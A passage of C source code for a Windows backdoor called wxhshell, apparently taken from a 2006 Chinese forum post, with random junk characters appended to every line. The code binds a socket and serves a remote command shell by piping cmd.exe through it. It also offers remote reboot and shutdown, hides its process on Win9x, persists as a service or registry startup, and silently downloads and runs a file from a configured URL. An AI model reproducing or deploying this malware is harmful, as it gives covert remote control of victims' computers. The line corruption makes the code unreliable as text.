  cvUut^CdK  
  // 帮助 A3$aMCwKd  
  case '?': { 8F^,8kIR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ML~c&9jv  
    break; \`/E !ub  
  } +F o$o  
  // 安装 em1cc,  
  case 'i': { %L j0  
    if(Install()) %x6Ov\s2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 r.H8  
    else i6md fp|k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yxd{&47  
    break; 1_NG+H]x9  
    } lP*  
  // 卸载 f5aF6FBH  
  case 'r': { D*cyFAF  
    if(Uninstall()) ,xYsH+ybA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DMQNr(w{!2  
    else =~hsKBt*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rocB"0  
    break; Wzqb>.   
    } >HPvgR/#BY  
  // 显示 wxhshell 所在路径 {@V3?pG?p  
  case 'p': { }xb_s  
    char svExeFile[MAX_PATH]; z,bX.*.-  
    strcpy(svExeFile,"\n\r"); >&;>PZBPCO  
      strcat(svExeFile,ExeFile); l#b|@4:I  
        send(wsh,svExeFile,strlen(svExeFile),0); +`*qlP;  
    break; 7w Q+giu  
    } `pi-zE)  
  // 重启 t0bhXFaiE  
  case 'b': { abo>_"9-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~`2&'8  
    if(Boot(REBOOT)) QtY hg$K3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b0YiQjS6>  
    else { nuSN)}b<Q  
    closesocket(wsh); %i$M/C"(  
    ExitThread(0); -XVEV  
    } !ww:O|0  
    break; q9^Y?`  
    } rX33s  
  // 关机 +9zJlL^A%  
  case 'd': { VW9>xVd4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UZje>. ~?  
    if(Boot(SHUTDOWN)) DD!MGf/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {N!E5*$Tr  
    else { EmX>T>~#D  
    closesocket(wsh); 9zZ5Lr^21  
    ExitThread(0); 8QVE_ Eu  
    } Dxt),4 %P  
    break; +Y>"/i. N  
    } R CBf;$O  
  // 获取shell : 8^M5}  
  case 's': { _8Nw D_"  
    CmdShell(wsh); ~h)@e\Kc  
    closesocket(wsh); 6?V<BgCC  
    ExitThread(0); a)!![X?\  
    break; ;&Bna#~B  
  } ]V36-%^  
  // 退出 R:'Ou:Mh  
  case 'x': { )MWUS;O<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A%Bgp?B  
    CloseIt(wsh); [1{SY=)  
    break; qoC]#M$oo#  
    } Xhcn]  
  // 离开 4$ Dt8!p0  
  case 'q': { ?a5h iN0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H2qf'  
    closesocket(wsh); iHAU|`'N)  
    WSACleanup(); w9RF2J  
    exit(1); &?.n2+T+ =  
    break; b?_e+:\UV  
        } *16<M)7  
  } G2.|fp_}pG  
  } pheE^jUr  
GE1i+.+-.  
  // 提示信息 /g_9m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >~I#JQ%  
} #`W=m N(+k  
  } S6v!GQ  
U|gpCy  
  return; {<qF}i:V  
} %35L=d[  
'_:(oAi,C  
// shell模块句柄 B*\$ /bk,  
int CmdShell(SOCKET sock) !FTNmyM~F  
{ w8O" =},  
STARTUPINFO si; IY=/` g  
ZeroMemory(&si,sizeof(si)); `79[+0hL'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \K}-I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I @ 2uF-  
PROCESS_INFORMATION ProcessInfo; pO%{'%RA  
char cmdline[]="cmd"; Ve{n<{P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C ye T]y  
  return 0; L7'%;?Z  
} UMV)wy|j  
@;vNX*-J  
// 自身启动模式 lT2 4JhJ#  
int StartFromService(void) w|IjQ1{  
{ ! Tx&vtq  
typedef struct TZ[Zm  
{ +nZUL*Ut/  
  DWORD ExitStatus; [J^  
  DWORD PebBaseAddress; Cyq?5\a  
  DWORD AffinityMask; -LtK8wl^  
  DWORD BasePriority; m9in1RI%  
  ULONG UniqueProcessId; pkJ/oT  
  ULONG InheritedFromUniqueProcessId; q\%cFB}  
}   PROCESS_BASIC_INFORMATION; <aJ $lseG  
,`k _|//}=  
PROCNTQSIP NtQueryInformationProcess; ^/HW$8wEi  
lbQQtpEKO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >M]6uf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `vd= ec  
' +j<n[JLC  
  HANDLE             hProcess; _AFQ>j  
  PROCESS_BASIC_INFORMATION pbi; $B;_Jo\|  
WJ |:kuF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f`jc#f5+'  
  if(NULL == hInst ) return 0; nVE9^')8V  
Z(j{F<\jS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S}(8f!9<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }GumpT$Xw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (hIF]>,kl  
jjRUL.  
  if (!NtQueryInformationProcess) return 0; + WVIZZ8  
_A98  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Uh2}ic  
  if(!hProcess) return 0; F.tfgW(A@  
mpgO s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xl(@C*.sC1  
O. ,3|  
  CloseHandle(hProcess); rq sdE  
Z\~G U*Y.e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5;\gJf  
if(hProcess==NULL) return 0; #`(WUn0H?  
c~0{s>  
HMODULE hMod; oc7$H>ET1  
char procName[255]; CS 8jA\  
unsigned long cbNeeded; TX}T|ri  
\\06T `  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \P;rES'  
o!OMm!  
  CloseHandle(hProcess); D-2.fjo9!  
+uo{ m~_4  
if(strstr(procName,"services")) return 1; // 以服务启动 hoM|P8 }rh  
k1^\|   
  return 0; // 注册表启动 ]}Z4P-"t  
} ST5V!jz  
iDoDwq!l_  
// 主模块 YAVy9$N-  
int StartWxhshell(LPSTR lpCmdLine) 6KHN&P  
{ R\mR$\cS  
  SOCKET wsl;  x}TS  
BOOL val=TRUE; p8}(kHUp(  
  int port=0; QSw<%pcJE@  
  struct sockaddr_in door; ht=P\E  
{D`'0Z1"  
  if(wscfg.ws_autoins) Install(); mO*^1  
:O-iykXyI  
port=atoi(lpCmdLine); 5O <>mCF  
uR;gVO+QC  
if(port<=0) port=wscfg.ws_port; #m<tJnEO  
M;w?[yEZ  
  WSADATA data; :~F:/5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 59r_#(uo  
K+Y^>N4m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @{hd{>K*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q%(EYM5Y  
  door.sin_family = AF_INET; omSM:f_~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "{D6J809  
  door.sin_port = htons(port); aE"[5*a  
G{Yz8]m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3S*AxAeg  
closesocket(wsl); y [#pC<^  
return 1;  =<}<Ny  
} 7O5`v(<9n>  
5U`ZbG  
  if(listen(wsl,2) == INVALID_SOCKET) { oF]cTAqhC.  
closesocket(wsl); |re}6#TgcT  
return 1; \1"'E@+  
} /E;y,o75  
  Wxhshell(wsl); d}'U?6 ob  
  WSACleanup(); h `}}  
*&BnF\?m  
return 0; V7d) S&*V  
*NFg;<:j  
} )s_n  
cD*}..-/4  
// 以NT服务方式启动 lot%N(mB`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kIHDeo%K}  
{ <%.5hCTp97  
DWORD   status = 0; VKp*9%9  
  DWORD   specificError = 0xfffffff; fhPkEvJ  
Sr?#wev]rn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qfY5Ww$8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o+w;PP)+=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zxr!:t7  
  serviceStatus.dwWin32ExitCode     = 0; !pTJ./  
  serviceStatus.dwServiceSpecificExitCode = 0; Jn:ZYqc  
  serviceStatus.dwCheckPoint       = 0; dZ#&YG)?e  
  serviceStatus.dwWaitHint       = 0; {7u[1[L1  
j#r6b]k(Hv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YHNR 3  
  if (hServiceStatusHandle==0) return; Snp|!e  
d) f@ 5/<  
status = GetLastError(); Y3.$G1{#0w  
  if (status!=NO_ERROR) X cr  =  
{ <8,o50`B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~h}Fi  
    serviceStatus.dwCheckPoint       = 0; I V%zO+  
    serviceStatus.dwWaitHint       = 0; SIO&rrT.  
    serviceStatus.dwWin32ExitCode     = status; 7tUA>;++  
    serviceStatus.dwServiceSpecificExitCode = specificError; +#U|skl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Z(K6U#.  
    return; **9x?s  
  } n0Y+b[ +wj  
_Zk{!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NBl+_/2'w  
  serviceStatus.dwCheckPoint       = 0; )?+$x[f!*  
  serviceStatus.dwWaitHint       = 0; 1b=lpw 1}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oSiMpQu08  
} A.<H>=Z# O  
H]Hv;fcC  
// 处理NT服务事件,比如:启动、停止 fjvN$NgVs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \(226^|j  
{ 8fA_p}wp  
switch(fdwControl) mxor1P#|  
{ !It`+0S b  
case SERVICE_CONTROL_STOP: %CWPbk^  
  serviceStatus.dwWin32ExitCode = 0; D\IjyZ-O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SJD@&m%?[  
  serviceStatus.dwCheckPoint   = 0; db'/`JeK b  
  serviceStatus.dwWaitHint     = 0; ~ wg:!VWA)  
  { X%yO5c\l2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]7-&V-Ct*  
  } SGb;!T *  
  return; 5F`;yh+e  
case SERVICE_CONTROL_PAUSE: UOQEk22  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c/c$D;T  
  break; <: &*  
case SERVICE_CONTROL_CONTINUE: a]Lp?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ga?*DI8w  
  break; d%l{V6  
case SERVICE_CONTROL_INTERROGATE: ^u 3V E  
  break; f0Bto/,>~  
}; *s@Qtgu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U qG .:@T  
} {vAE:W.s  
$w"$r$K9K  
// 标准应用程序主函数 /cc\fw1+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o7IxJCL=Q  
{  hi g2  
[+O"<Ua  
// 获取操作系统版本 GfM;saTz{  
OsIsNt=GetOsVer(); j ";2o(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l5L.5 $N  
E=){K  
  // 从命令行安装 UH3sH t  
  if(strpbrk(lpCmdLine,"iI")) Install(); >2#8B  
1lv2@QH9  
  // 下载执行文件 v\(2&*  
if(wscfg.ws_downexe) { 2^?:&1:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) apE   
  WinExec(wscfg.ws_filenam,SW_HIDE); n3J53| %v  
} C6rg<tCH  
NcY608C  
if(!OsIsNt) { }9nDo*A"}  
// 如果时win9x,隐藏进程并且设置为注册表启动 9"g6C<  
HideProc(); c-.t>r &  
StartWxhshell(lpCmdLine); _X@v/sAy  
} cQ9q;r`%  
else {Zp\^/  
  if(StartFromService()) as J)4ema  
  // 以服务方式启动 L(X6-M:  
  StartServiceCtrlDispatcher(DispatchTable); T#bu V  
else ZvcJK4hi  
  // 普通方式启动 g-Pwp[!qkf  
  StartWxhshell(lpCmdLine); Web|\CH  
7FRmx 4(!  
return 0; ^ns@O+Fk  
}
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只看该作者 1 发表于: 2006-10-10
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